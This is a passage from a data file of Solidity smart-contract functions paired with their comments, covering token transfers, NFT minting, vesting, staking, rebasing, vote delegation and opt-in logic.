\r\n //Send the tokens to depositor of the Ethereum\r\n balances[sender] = balances[sender] + newAmount; // mint new tokens\r\n _totalSupply = _totalSupply + newAmount; // track the supply\r\n emit Transfer(address(0), sender, newAmount); // notify of the transfer event\r\n \r\n //Adding the fee to the reservedReward\r\n reservedReward = reservedReward.add(depositFee);\r\n \r\n //Adding the amount deposited to the depositor\r\n depositor[sender].amount = newAmount;\r\n emit Deposited(sender, newAmount);\r\n }", "version": "0.5.11"} {"comment": "//Charge a 0.3% withdrawal fee", "function_code": "function withdraw(address payable _sender, uint256 amount) internal {\r\n \r\n uint256 withdrawFee = (amount.div(1000)).mul(3);\r\n uint256 newAmount = (amount.mul(1000)).sub(withdrawFee.mul(1000));\r\n \r\n //Remove deposit in terms of ETH\r\n depositor[_sender].amount = depositor[_sender].amount.sub(amount); // remove deposit information from depositor record\r\n\r\n //Withdraw the amount from the contract and pay the fee\r\n require(_sender.send(newAmount.div(1000000))); // transfer ethers plus earned reward to sender\r\n emit Withdraw(_sender, newAmount.div(1000000), withdrawFee.div(1000));\r\n \r\n //Adding the fee to the reservedReward\r\n reservedReward = reservedReward.add(withdrawFee.div(1000));\r\n }", "version": "0.5.11"} {"comment": "// ------------------------------------------------------------------------\n// Token owner can approve for `spender` to transferFrom(...) `tokens`\n// from the token owner's account\n// ------------------------------------------------------------------------", "function_code": "function approve(address spender, uint tokens) public returns (bool success){\r\n require(spender != address(0));\r\n require(tokens <= balances[msg.sender]);\r\n require(tokens >= 0);\r\n require(allowed[msg.sender][spender] == 0 || tokens == 0);\r\n allowed[msg.sender][spender] = tokens;\r\n emit Approval(msg.sender,spender,tokens);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "// Check Token # Ownership", "function_code": "function checkHoundOwner(address addr) public view returns(uint256[] memory) {\n uint256 tokenCount = balanceOf(addr);\n uint256[] memory tokensId = new uint256[](tokenCount);\n for(uint256 i; i < tokenCount; i++){\n tokensId[i] = tokenOfOwnerByIndex(addr, i);\n }\n return tokensId;\n }", "version": "0.8.0"} {"comment": "// Minting Function", "function_code": "function mintHound(uint256 _amount) public payable {\n uint256 supply = totalSupply();\n require( saleActive, \"Sale Not Active\" );\n require( _amount > 0 && _amount < 11, \"Can't Mint More Than 10 Tokens\" );\n require( supply + _amount <= PUBLIC_SUPPLY, \"Not Enough Supply\" );\n require( msg.value == price * _amount, \"Incorrect Amount Of ETH Sent\" );\n for(uint256 i; i < _amount; i++){\n _safeMint( msg.sender, supply + i );\n }\n }", "version": "0.8.0"} {"comment": "// Presale Minting", "function_code": "function mintPresale(uint256 _amount, HHVoucher.Voucher calldata v) public payable {\n uint256 supply = totalSupply();\n require(presaleActive, \"Private sale not open\");\n require(claimedVouchers[v.voucherId] + _amount <= 2, \"No Voucher For Your Address\");\n require(_amount <= 2, \"Can't Mint More Than Two\");\n require(v.to == msg.sender, \"No Voucher For Your Address\");\n require(HHVoucher.validateVoucher(v, getVoucherSigner()), \"Invalid voucher\");\n require( supply + _amount <= PUBLIC_SUPPLY, \"Not Enough Supply\" );\n require( msg.value == price * _amount, \"Incorrect Amount Of ETH Sent\" );\n claimedVouchers[v.voucherId] += _amount;\n for(uint256 i; i < _amount; i++){\n _safeMint( msg.sender, supply + i );\n }\n }", "version": "0.8.0"} {"comment": "// Gift Function - Collabs & Giveaways", "function_code": "function gift(address _to, uint256 _amount) external onlyOwner() {\n require( _amount <= MAX_SUPPLY, \"Not Enough Supply\" );\n\n uint256 supply = totalSupply();\n for(uint256 i; i < _amount; i++){\n _safeMint( _to, supply + i );\n }\n\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Add beneficiary with related information to the vesting contract\r\n * @param _account address of the beneficiary to whom vested tokens are transferred\r\n * @param _start the time (as Unix time) at which point vesting starts\r\n * @param _cliffDuration duration in seconds of the cliff in which tokens will begin to vest\r\n * @param _duration duration in seconds of the period in which the tokens will vest\r\n * @param _amount the vesting amount of beneficiary\r\n * @param _revocable whether the vesting is revocable or not\r\n */", "function_code": "function register(\r\n address _account,\r\n uint256 _start,\r\n uint256 _cliffDuration,\r\n uint256 _duration,\r\n uint256 _amount,\r\n bool _revocable\r\n ) external onlyOwner {\r\n require(\r\n !_vestingBeneficiaries[_account].initialized,\r\n \"TokenVesting: account has been registered\"\r\n );\r\n require(\r\n _account != address(0),\r\n \"TokenVesting: account is zero address\"\r\n );\r\n require(\r\n _cliffDuration <= _duration,\r\n \"TokenVesting: cliff is longer than duration\"\r\n );\r\n require(_duration > 0, \"TokenVesting: duration is 0\");\r\n require(\r\n _start.add(_duration) > block.timestamp,\r\n \"TokenVesting: final time is before current time\"\r\n );\r\n require(\r\n totalAllocated.sub(totalReleased).add(_amount) <=\r\n IERC20(vestingToken).balanceOf(address(this)),\r\n \"TokenVesting: insufficient balance\"\r\n );\r\n\r\n Beneficiary memory beneficiary = Beneficiary(\r\n _start,\r\n _start.add(_cliffDuration),\r\n _duration,\r\n _amount,\r\n 0,\r\n _revocable,\r\n false,\r\n true\r\n );\r\n _vestingBeneficiaries[_account] = beneficiary;\r\n totalAllocated = totalAllocated.add(_amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Transfers vested tokens to beneficiary.\r\n * @param _account The address of beneficiary\r\n */", "function_code": "function claim(address _account)\r\n external\r\n isRegistered(_account)\r\n returns (uint256)\r\n {\r\n Beneficiary storage beneficiary = _vestingBeneficiaries[_account];\r\n uint256 unreleasedAmt = _releasableAmount(beneficiary);\r\n require(unreleasedAmt > 0, \"TokenVesting: no tokens are due\");\r\n\r\n beneficiary.released = beneficiary.released.add(unreleasedAmt);\r\n totalReleased = totalReleased.add(unreleasedAmt);\r\n IERC20(vestingToken).safeTransfer(_account, unreleasedAmt);\r\n emit Claimed(_account, unreleasedAmt);\r\n return unreleasedAmt;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Allows the owner to revoke the vesting. Tokens already vested\r\n * remain in the contract, but the amount will be updated.\r\n * @param _account The address of beneficiary\r\n */", "function_code": "function revoke(address _account)\r\n external\r\n onlyOwner\r\n isRegistered(_account)\r\n {\r\n Beneficiary storage beneficiary = _vestingBeneficiaries[_account];\r\n require(beneficiary.revocable, \"TokenVesting: cannot revoke\");\r\n require(!beneficiary.revoked, \"TokenVesting: account already revoked\");\r\n\r\n uint256 unreleasedAmt = _releasableAmount(beneficiary);\r\n uint256 refund = beneficiary.amount.sub(\r\n beneficiary.released.add(unreleasedAmt)\r\n );\r\n\r\n // the amount of beneficiary will minus refund amount\r\n // claim amount = new amount - released amount\r\n beneficiary.amount = beneficiary.amount.sub(refund);\r\n beneficiary.revoked = true;\r\n totalAllocated = totalAllocated.sub(refund);\r\n emit Revoked(_account);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Calculates the amount that has already vested.\r\n * @param _beneficiary The related information of beneficiary\r\n */", "function_code": "function _vestedAmount(Beneficiary storage _beneficiary)\r\n private\r\n view\r\n returns (uint256)\r\n {\r\n if (block.timestamp < _beneficiary.cliff) {\r\n return 0;\r\n } else if (\r\n block.timestamp >= _beneficiary.start.add(_beneficiary.duration) ||\r\n _beneficiary.revoked\r\n ) {\r\n return _beneficiary.amount;\r\n } else {\r\n return\r\n _beneficiary\r\n .amount\r\n .mul(block.timestamp.sub(_beneficiary.start))\r\n .div(_beneficiary.duration);\r\n }\r\n }", "version": "0.6.12"} {"comment": "//////////////////////////////////////////////////\n/// Begin QTAAR token functionality\n//////////////////////////////////////////////////\n/// @dev QTAAR token constructor", "function_code": "function QTAAR() public\r\n {\r\n // Define owner\r\n owner = msg.sender;\r\n // Define initial owner supply. (ether here is used only to get the decimals right)\r\n uint _initOwnerSupply = 250000 ether;\r\n // One-time bulk mint given to owner\r\n bool _success = mint(msg.sender, _initOwnerSupply);\r\n // Abort if initial minting failed for whatever reason\r\n require(_success);\r\n\r\n ////////////////////////////////////\r\n // Set up state minting variables\r\n ////////////////////////////////////\r\n\r\n // Set last minted to current block.timestamp ('now')\r\n ownerTimeLastMinted = now;\r\n \r\n // 4100 minted tokens per day, 86400 seconds in a day\r\n ownerMintRate = calculateFraction(4100, 86400, decimals);\r\n \r\n // 5,000,000 targeted minted tokens per year via staking; 31,536,000 seconds per year\r\n globalMintRate = calculateFraction(5000000, 31536000, decimals);\r\n }", "version": "0.4.18"} {"comment": "/// @dev staking function which allows users to split the interest earned with another address", "function_code": "function stakeQTAARSplit(uint _stakeAmount, address _stakeSplitAddress) external\r\n {\r\n // Require that a QTAAR split actually be split with an address\r\n require(_stakeSplitAddress > 0);\r\n // Store split address into stake mapping\r\n stakeBalances[msg.sender].stakeSplitAddress = _stakeSplitAddress;\r\n // Require that tokens are staked successfully\r\n require(stakeTokens(_stakeAmount));\r\n\r\n }", "version": "0.4.18"} {"comment": "/// @dev allows contract owner to claim their mint", "function_code": "function ownerClaim() external onlyOwner\r\n {\r\n // Sanity check: ensure that we didn't travel back in time\r\n require(now > ownerTimeLastMinted);\r\n \r\n uint _timePassedSinceLastMint;\r\n uint _tokenMintCount;\r\n bool _mintingSuccess;\r\n\r\n // Calculate the number of seconds that have passed since the owner last took a claim\r\n _timePassedSinceLastMint = now.sub(ownerTimeLastMinted);\r\n\r\n // Sanity check: ensure that some time has passed since the owner last claimed\r\n assert(_timePassedSinceLastMint > 0);\r\n\r\n // Determine the token mint amount, determined from the number of seconds passed and the ownerMintRate\r\n _tokenMintCount = calculateMintTotal(_timePassedSinceLastMint, ownerMintRate);\r\n\r\n // Mint the owner's tokens; this also increases totalSupply\r\n _mintingSuccess = mint(msg.sender, _tokenMintCount);\r\n\r\n // Sanity check: ensure that the minting was successful\r\n require(_mintingSuccess);\r\n \r\n // New minting was a success! Set last time minted to current block.timestamp (now)\r\n ownerTimeLastMinted = now;\r\n }", "version": "0.4.18"} {"comment": "/// @dev stake function reduces the user's total available balance. totalSupply is unaffected\n/// @param _value determines how many tokens a user wants to stake", "function_code": "function stakeTokens(uint256 _value) private returns (bool success)\r\n {\r\n /// Sanity Checks:\r\n // You can only stake as many tokens as you have\r\n require(_value <= balances[msg.sender]);\r\n // You can only stake tokens if you have not already staked tokens\r\n require(stakeBalances[msg.sender].initialStakeBalance == 0);\r\n\r\n // Subtract stake amount from regular token balance\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n\r\n // Add stake amount to staked balance\r\n stakeBalances[msg.sender].initialStakeBalance = _value;\r\n\r\n // Increment the global staked tokens value\r\n totalQTAARStaked += _value;\r\n\r\n /// Determine percentage of global stake\r\n stakeBalances[msg.sender].initialStakePercentage = calculateFraction(_value, totalQTAARStaked, decimals);\r\n \r\n // Save the time that the stake started\r\n stakeBalances[msg.sender].initialStakeTime = now;\r\n\r\n // Fire an event to tell the world of the newly staked tokens\r\n Stake(msg.sender, stakeBalances[msg.sender].stakeSplitAddress, _value);\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/// @dev calculateFraction allows us to better handle the Solidity ugliness of not having decimals as a native type \n/// @param _numerator is the top part of the fraction we are calculating\n/// @param _denominator is the bottom part of the fraction we are calculating\n/// @param _precision tells the function how many significant digits to calculate out to\n/// @return quotient returns the result of our fraction calculation", "function_code": "function calculateFraction(uint _numerator, uint _denominator, uint _precision) pure private returns(uint quotient) \r\n {\r\n // Take passed value and expand it to the required precision\r\n _numerator = _numerator.mul(10 ** (_precision + 1));\r\n // handle last-digit rounding\r\n uint _quotient = ((_numerator.div(_denominator)) + 5) / 10;\r\n return (_quotient);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Burns a specific amount of tokens from another address\r\n * @param _who From whom the tokens should be burnt \r\n * @param _value The amount of token to be burned.\r\n */", "function_code": "function burnFromAnotherAccount(address _who, uint256 _value) public onlyOwner {\r\n require(_value <= balances[_who]);\r\n // no need to require value <= totalSupply, since that would imply the\r\n // sender's balance is greater than the totalSupply, which *should* be an assertion failure\r\n\r\n balances[_who] = balances[_who].sub(_value);\r\n totalSupply_ = totalSupply_.sub(_value);\r\n emit Burn(_who, _value);\r\n emit Transfer(_who, address(0), _value);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Claim Deaf Gold for a given Deaf ID\n/// @param tokenId The tokenId of the Deaf NFT", "function_code": "function claimById(uint256 tokenId) external {\r\n // Follow the Checks-Effects-Interactions pattern to prevent reentrancy\r\n // attacks\r\n\r\n // Checks\r\n\r\n // Check that the msgSender owns the token that is being claimed\r\n require(\r\n _msgSender() == DeafContract.ownerOf(tokenId),\r\n \"MUST_OWN_TOKEN_ID\"\r\n );\r\n\r\n // Further Checks, Effects, and Interactions are contained within the\r\n // _claim() function\r\n _claim(tokenId, _msgSender());\r\n }", "version": "0.8.0"} {"comment": "/// @notice Claim Deaf Gold for all tokens owned by the sender\n/// @notice This function will run out of gas if you have too much Deaf! If\n/// this is a concern, you should use claimRangeForOwner and claim Deaf\n/// Gold in batches.", "function_code": "function claimAllForOwner() external {\r\n uint256 tokenBalanceOwner = DeafContract.balanceOf(_msgSender());\r\n\r\n // Checks\r\n require(tokenBalanceOwner > 0, \"NO_TOKENS_OWNED\");\r\n\r\n // i < tokenBalanceOwner because tokenBalanceOwner is 1-indexed\r\n for (uint256 i = 0; i < tokenBalanceOwner; i++) {\r\n // Further Checks, Effects, and Interactions are contained within\r\n // the _claim() function\r\n _claim(\r\n DeafContract.tokenOfOwnerByIndex(_msgSender(), i),\r\n _msgSender()\r\n );\r\n }\r\n }", "version": "0.8.0"} {"comment": "/// @notice Claim Deaf Gold for all tokens owned by the sender within a\n/// given range\n/// @notice This function is useful if you own too much Deaf to claim all at\n/// once or if you want to leave some Deaf unclaimed. If you leave Deaf\n/// unclaimed, however, you cannot claim it once the next season starts.", "function_code": "function claimRangeForOwner(uint256 ownerIndexStart, uint256 ownerIndexEnd)\r\n external\r\n {\r\n uint256 tokenBalanceOwner = DeafContract.balanceOf(_msgSender());\r\n\r\n // Checks\r\n require(tokenBalanceOwner > 0, \"NO_TOKENS_OWNED\");\r\n\r\n // We use < for ownerIndexEnd and tokenBalanceOwner because\r\n // tokenOfOwnerByIndex is 0-indexed while the token balance is 1-indexed\r\n require(\r\n ownerIndexStart >= 0 && ownerIndexEnd < tokenBalanceOwner,\r\n \"INDEX_OUT_OF_RANGE\"\r\n );\r\n\r\n // i <= ownerIndexEnd because ownerIndexEnd is 0-indexed\r\n for (uint256 i = ownerIndexStart; i <= ownerIndexEnd; i++) {\r\n // Further Checks, Effects, and Interactions are contained within\r\n // the _claim() function\r\n _claim(\r\n DeafContract.tokenOfOwnerByIndex(_msgSender(), i),\r\n _msgSender()\r\n );\r\n }\r\n }", "version": "0.8.0"} {"comment": "/// @dev Internal function to mint Deaf upon claiming", "function_code": "function _claim(uint256 tokenId, address tokenOwner) internal {\r\n // Checks\r\n // Check that the token ID is in range\r\n // We use >= and <= to here because all of the token IDs are 0-indexed\r\n require(\r\n tokenId >= tokenIdStart && tokenId <= tokenIdEnd,\r\n \"TOKEN_ID_OUT_OF_RANGE\"\r\n );\r\n\r\n // Check that Deaf Gold have not already been claimed this season\r\n // for a given tokenId\r\n require(\r\n !seasonClaimedByTokenId[season][tokenId],\r\n \"GOLD_CLAIMED_FOR_TOKEN_ID\"\r\n );\r\n\r\n // Effects\r\n\r\n // Mark that Deaf Gold has been claimed for this season for the\r\n // given tokenId\r\n seasonClaimedByTokenId[season][tokenId] = true;\r\n\r\n // Interactions\r\n\r\n // Send Deaf Gold to the owner of the token ID\r\n _mint(tokenOwner, DeafGoldPerTokenId);\r\n }", "version": "0.8.0"} {"comment": "/// @notice Distribute dividends to the GandhijiMain contract. Can be called\n/// repeatedly until practically all dividends have been distributed.\n/// @param rounds How many rounds of dividend distribution do we want?", "function_code": "function distribute(uint256 rounds) public {\r\n for (uint256 i = 0; i < rounds; i++) {\r\n if (address(this).balance < 0.001 ether) {\r\n // Balance is very low. Not worth the gas to distribute.\r\n break;\r\n }\r\n \r\n GandhijiMainContract.buy.value(address(this).balance)(msg.sender);\r\n GandhijiMainContract.exit();\r\n }\r\n }", "version": "0.4.24"} {"comment": "//Below function will convert string to integer removing decimal", "function_code": "function stringToUint(string s) returns (uint) {\r\n bytes memory b = bytes(s);\r\n uint i;\r\n uint result1 = 0;\r\n for (i = 0; i < b.length; i++) {\r\n uint c = uint(b[i]);\r\n if(c == 46)\r\n {\r\n // Do nothing --this will skip the decimal\r\n }\r\n else if (c >= 48 && c <= 57) {\r\n result1 = result1 * 10 + (c - 48);\r\n // usd_price=result;\r\n \r\n }\r\n }\r\n if (result1 < 10000) \r\n {\r\n result1=result1*100;\r\n return result1;\r\n }\r\n else if(result1 < 100000)\r\n {\r\n result1=result1*10;\r\n return result1;\r\n }\r\n else\r\n {\r\n return result1;\r\n }\r\n }", "version": "0.4.14"} {"comment": "/**\r\n * @dev Notifies Fragments contract about a new rebase cycle.\r\n * @return The total number of fragments after the supply adjustment.\r\n */", "function_code": "function rebase()\r\n external\r\n returns (uint256)\r\n {\r\n \r\n uint256 baseTotalSupply = BASETOKEN.totalSupply();\r\n uint256 multiplier;\r\n uint256 maxDebase =9000;\r\n require(baseTotalSupply != lastTrackedBaseSupply, 'NOT YET PLEASE WAIT');\r\n if (baseTotalSupply > lastTrackedBaseSupply) {\r\n \r\n multiplier = (baseTotalSupply.sub(lastTrackedBaseSupply)).mul(10000).div(lastTrackedBaseSupply);\r\n \r\n if(multiplier >= 10000){\r\n multiplier= maxDebase;\r\n }\r\n \r\n } else if (lastTrackedBaseSupply > baseTotalSupply) {\r\n \r\n multiplier = (lastTrackedBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedBaseSupply).mul(2);\r\n }\r\n \r\n uint256 modification;\r\n modification = _totalSupply.mul(multiplier).div(10000);\r\n if (baseTotalSupply > lastTrackedBaseSupply) {\r\n _totalSupply = _totalSupply.sub(modification);\r\n \r\n } else {\r\n _totalSupply = _totalSupply.add(modification);\r\n }\r\n\r\n if (_totalSupply > MAX_SUPPLY) {\r\n _totalSupply = MAX_SUPPLY;\r\n }\r\n\r\n _gonsPerFragment = TOTAL_GONS.div(_totalSupply);\r\n \r\n lastTrackedBaseSupply = baseTotalSupply;\r\n\r\n \r\n\r\n emit LogRebase(block.timestamp, _totalSupply);\r\n return _totalSupply;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice set the delegatee.\r\n * @dev delegatee address should not be zero address.\r\n * @param delegator the addrress of token holder.\r\n * @param delegatee number of tokens to burn.\r\n */", "function_code": "function _delegate(address delegator, address delegatee) internal {\r\n require(delegatee != address(0), \"UFARM::_delegate: invalid delegatee address\");\r\n address currentDelegate = delegates[delegator];\r\n uint256 delegatorBalance = balances[delegator];\r\n delegates[delegator] = delegatee;\r\n\r\n emit DelegateChanged(delegator, currentDelegate, delegatee);\r\n\r\n _moveDelegates(currentDelegate, delegatee, delegatorBalance);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice transfer tokens to src --> dst.\r\n * @dev src address should be valid ethereum address.\r\n * @dev dst address should be valid ethereum address.\r\n * @dev amount should be greater than zero.\r\n * @param src the source address.\r\n * @param dst the destination address.\r\n * @param amount number of token to transfer.\r\n */", "function_code": "function _transferTokens(\r\n address src,\r\n address dst,\r\n uint256 amount\r\n ) internal {\r\n require(src != address(0), \"UFARM::_transferTokens: cannot transfer from the zero address\");\r\n require(dst != address(0), \"UFARM::_transferTokens: cannot transfer to the zero address\");\r\n require(amount > 0, \"UFARM::_transferTokens: invalid amount wut??\");\r\n\r\n balances[src] = balances[src].sub(amount, \"UFARM::_transferTokens: exceeds balance\");\r\n balances[dst] = balances[dst].add(amount);\r\n emit Transfer(src, dst, amount);\r\n\r\n _moveDelegates(delegates[src], delegates[dst], amount);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice transfer the vote token.\r\n * @dev srcRep address should be valid ethereum address.\r\n * @dev dstRep address should be valid ethereum address.\r\n * @dev amount should be greater than zero.\r\n * @param srcRep the source vote address.\r\n * @param dstRep the destination vote address.\r\n * @param amount number of vote token to transfer.\r\n */", "function_code": "function _moveDelegates(\r\n address srcRep,\r\n address dstRep,\r\n uint256 amount\r\n ) internal {\r\n if (srcRep != dstRep && amount > 0) {\r\n if (srcRep != address(0)) {\r\n uint32 srcRepNum = numCheckpoints[srcRep];\r\n uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;\r\n uint256 srcRepNew = srcRepOld.sub(amount);\r\n _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);\r\n }\r\n\r\n if (dstRep != address(0)) {\r\n uint32 dstRepNum = numCheckpoints[dstRep];\r\n uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;\r\n uint256 dstRepNew = dstRepOld.add(amount);\r\n _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);\r\n }\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice write checkpoint for delegatee.\r\n * @dev blocknumber should be uint32.\r\n * @param delegatee the address of delegatee.\r\n * @param nCheckpoints no of checkpoints.\r\n * @param oldVotes number of old votes.\r\n * @param newVotes number of new votes.\r\n */", "function_code": "function _writeCheckpoint(\r\n address delegatee,\r\n uint32 nCheckpoints,\r\n uint256 oldVotes,\r\n uint256 newVotes\r\n ) internal {\r\n uint32 blockNumber = safe32(block.number, \"UFARM::_writeCheckpoint: block number exceeds 32 bits\");\r\n\r\n if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {\r\n checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;\r\n } else {\r\n checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);\r\n numCheckpoints[delegatee] = nCheckpoints + 1;\r\n }\r\n\r\n emit DelegateVotesChanged(delegatee, oldVotes, newVotes);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Approves an address to do a withdraw from this contract for specified amount\r\n */", "function_code": "function whitelistWithdrawals(\r\n address[] memory whos,\r\n uint256[] memory amounts,\r\n address[] memory tokens\r\n )\r\n public\r\n onlyGov\r\n {\r\n require(whos.length == amounts.length, \"Reserves::whitelist: !len parity 1\");\r\n require(amounts.length == tokens.length, \"Reserves::whitelist: !len parity 2\");\r\n for (uint256 i = 0; i < whos.length; i++) {\r\n IERC20 token = IERC20(tokens[i]);\r\n token.approve(whos[i], amounts[i]);\r\n }\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * ERC20 Transfer\r\n * Contract address is blocked from using the transfer function\r\n * Contact us to approve contracts for transfer\r\n * Contracts will not be a registered user by default\r\n * All contracts will be approved unless the contract is malicious\r\n */", "function_code": "function transfer(address _toAddress, uint256 _amountOfTokens)\r\n onlyBagholders()\r\n public\r\n returns(bool)\r\n {\r\n // setup\r\n address _customerAddress = msg.sender;\r\n \r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n require(user[_customerAddress] && user[_toAddress]);\r\n \r\n // withdraw all outstanding dividends first\r\n if(myDividends(true) > 0) withdraw();\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);\r\n \r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);\r\n \r\n bytes memory _empty;\r\n uint256 codeLength;\r\n assembly {\r\n codeLength := extcodesize(_toAddress)\r\n }\r\n if(codeLength > 0){\r\n ERC223ReceivingContract receiver = ERC223ReceivingContract(_toAddress);\r\n receiver.tokenFallback(_customerAddress, _amountOfTokens, _empty);\r\n }\r\n \r\n // fire event\r\n emit Transfer(_customerAddress, _toAddress, _amountOfTokens, _empty);\r\n \r\n // ERC20\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Transfers In Tokens preapproved by sender to Exchange contract, \r\n * transfers Out Tokens 1 to 1 to sender if there is balance of Out Tokens available\r\n * @param _amount of In Tokens\r\n */", "function_code": "function receiveInToken (uint256 _amount)\r\n external\r\n nonReentrant\r\n {\r\n \trequire(_amount != 0, \"amount is 0\");\r\n require(outToken.balanceOf(address(this)) >= _amount, \"not enough Out Tokens available\");\r\n \taddress _user = msg.sender;\r\n \tinToken.safeTransferFrom(_user, address(this), _amount);\r\n outToken.safeTransfer(_user, _amount);\r\n emit Exchanged(_user, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Get the OptInStatus for two accounts at once.\n */", "function_code": "function getOptInStatusPair(address accountA, address accountB)\n external\n override\n view\n returns (OptInStatus memory, OptInStatus memory)\n {\n (bool isOptedInA, address optedInToA, ) = _getOptInStatus(accountA);\n (bool isOptedInB, address optedInToB, ) = _getOptInStatus(accountB);\n\n bool permaBoostActive = _permaBoostActive;\n\n return (\n OptInStatus({\n isOptedIn: isOptedInA,\n optedInTo: optedInToA,\n permaBoostActive: permaBoostActive,\n optOutPeriod: _OPT_OUT_PERIOD\n }),\n OptInStatus({\n isOptedIn: isOptedInB,\n optedInTo: optedInToB,\n permaBoostActive: permaBoostActive,\n optOutPeriod: _OPT_OUT_PERIOD\n })\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Opts in the caller.\n * @param to the address to opt-in to\n */", "function_code": "function optIn(address to) external {\n require(to != address(0), \"OptIn: address cannot be zero\");\n require(to != msg.sender, \"OptIn: cannot opt-in to self\");\n require(\n !address(msg.sender).isContract(),\n \"OptIn: sender is a contract\"\n );\n require(\n msg.sender != _defaultOptInAddress,\n \"OptIn: default address cannot opt-in\"\n );\n (bool optedIn, , ) = _getOptInStatus(msg.sender);\n require(!optedIn, \"OptIn: sender already opted-in\");\n\n _optedIn[msg.sender] = to;\n\n // Always > 0 since by default anyone is opted-in\n _optOutPending[msg.sender] = 0;\n\n emit OptedIn(msg.sender, to);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns the remaining opt-out period of `account` relative to the given\n * `optedInTo` address.\n */", "function_code": "function _getOptOutPeriodRemaining(address account, bool dirty)\n private\n view\n returns (uint256)\n {\n if (!dirty) {\n // never interacted with opt-in contract\n return 0;\n }\n\n uint256 optOutPending = _optOutPending[account];\n if (optOutPending == 0) {\n // Opted-out and/or opted-in again to someone else\n return 0;\n }\n\n uint256 optOutPeriodEnd = optOutPending + _OPT_OUT_PERIOD;\n if (block.timestamp >= optOutPeriodEnd) {\n // Period is over\n return 0;\n }\n\n // End is still in the future, so the difference to block.timestamp is the remaining\n // duration in seconds.\n return optOutPeriodEnd - block.timestamp;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Opts out the caller. The opt-out does not immediately take effect.\n * Instead, the caller is marked pending and only after a 30-day period ended since\n * the call to this function he is no longer considered opted-in.\n *\n * Requirements:\n *\n * - the caller is opted-in\n */", "function_code": "function optOut() external {\n (bool isOptedIn, address optedInTo, ) = _getOptInStatus(msg.sender);\n\n require(isOptedIn, \"OptIn: sender not opted-in\");\n require(\n _optOutPending[msg.sender] == 0,\n \"OptIn: sender not opted-in or opt-out pending\"\n );\n\n _optOutPending[msg.sender] = block.timestamp;\n\n // NOTE: we do not delete the `optedInTo` address yet, because we still need it\n // for e.g. checking `isOptedInBy` while the opt-out period is not over yet.\n\n emit OptedOut(msg.sender, optedInTo);\n\n _dirty[msg.sender] = true;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev An opted-in address can opt-out an `account` instantly, so that the opt-out period\n * is skipped.\n */", "function_code": "function instantOptOut(address account) external {\n (bool isOptedIn, address optedInTo, bool dirty) = _getOptInStatus(\n account\n );\n\n require(\n isOptedIn,\n \"OptIn: cannot instant opt-out not opted-in account\"\n );\n require(\n optedInTo == msg.sender,\n \"OptIn: account must be opted-in to msg.sender\"\n );\n\n emit OptedOut(account, msg.sender);\n\n // To make the opt-out happen instantly, subtract the waiting period of `msg.sender` from `block.timestamp` -\n // effectively making `account` having waited for the opt-out period time.\n _optOutPending[account] = block.timestamp - _OPT_OUT_PERIOD - 1;\n\n if (!dirty) {\n _dirty[account] = true;\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Check if the given `_sender` has been opted-in by `_account` and that `_account`\n * is still opted-in.\n *\n * Returns a tuple (bool,uint256) where the latter is the optOutPeriod of the address\n * `account` is opted-in to.\n */", "function_code": "function isOptedInBy(address _sender, address _account)\n external\n override\n view\n returns (bool, uint256)\n {\n require(_sender != address(0), \"OptIn: sender cannot be zero address\");\n require(\n _account != address(0),\n \"OptIn: account cannot be zero address\"\n );\n\n (bool isOptedIn, address optedInTo, ) = _getOptInStatus(_account);\n if (!isOptedIn || _sender != optedInTo) {\n return (false, 0);\n }\n\n return (true, _OPT_OUT_PERIOD);\n }", "version": "0.6.12"} {"comment": "// For future transfers of DGT", "function_code": "function transfer(address _to, uint256 _value) {\r\n require (balanceOf[msg.sender] >= _value); // Check if the sender has enough\r\n require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows\r\n\r\n balanceOf[msg.sender] -= _value; // Subtract from the sender\r\n balanceOf[_to] += _value; // Add the same to the recipient\r\n\r\n Transfer(msg.sender, _to, _value);\r\n }", "version": "0.4.13"} {"comment": "// Decide the state of the project", "function_code": "function finalise() external {\r\n require (!icoFailed);\r\n require (!icoFulfilled);\r\n require (now > endOfIco || allocatedSupply >= tokenSupply);\r\n\r\n // Min cap is 8000 ETH\r\n if (this.balance < 8000 ether) {\r\n icoFailed = true;\r\n } else {\r\n setPreSaleAmounts();\r\n allocateBountyTokens();\r\n icoFulfilled = true;\r\n 